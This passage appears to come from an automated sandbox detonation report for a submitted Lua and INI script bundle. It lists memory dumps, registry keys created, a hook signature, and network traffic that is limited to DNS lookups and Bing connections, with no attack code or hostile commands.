memory/332-197-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-198-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-199-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-200-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-201-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-202-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-203-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-204-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-205-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-206-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-207-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-208-0x00007FF698200000-0x00007FF698D03000-memory.dmp
Analysis: behavioral5
Detonation Overview
Submitted
2024-07-12 18:44
Reported
2024-07-12 19:15
Platform
win11-20240709-en
Max time kernel
1470s
Max time network
1487s
Command Line
Signatures
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings | C:\Windows\system32\cmd.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3666881604-935092360-1617577973-1000_Classes\Local Settings | C:\Windows\system32\OpenWith.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\scripts\demo.lua
C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 240.143.123.92.in-addr.arpa | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
Files
Analysis: behavioral6
Detonation Overview
Submitted
2024-07-12 18:44
Reported
2024-07-12 19:15
Platform
win11-20240709-en
Max time kernel
1452s
Max time network
1474s
Command Line
Signatures
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1376880307-1734125928-2892936080-1000_Classes\Local Settings | C:\Windows\system32\cmd.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1376880307-1734125928-2892936080-1000_Classes\Local Settings | C:\Windows\system32\OpenWith.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\scripts\menu.lua
C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 13.227.111.52.in-addr.arpa | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 54.120.234.20.in-addr.arpa | udp |
Files
Analysis: behavioral7
Detonation Overview
Submitted
2024-07-12 18:44
Reported
2024-07-12 19:15
Platform
win11-20240709-en
Max time kernel
1468s
Max time network
1490s
Command Line
Signatures
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-95457810-830748662-4054918673-1000_Classes\Local Settings | C:\Windows\system32\cmd.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-95457810-830748662-4054918673-1000_Classes\Local Settings | C:\Windows\system32\OpenWith.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\scripts\remote_settings.ini
C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 73.159.190.20.in-addr.arpa | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |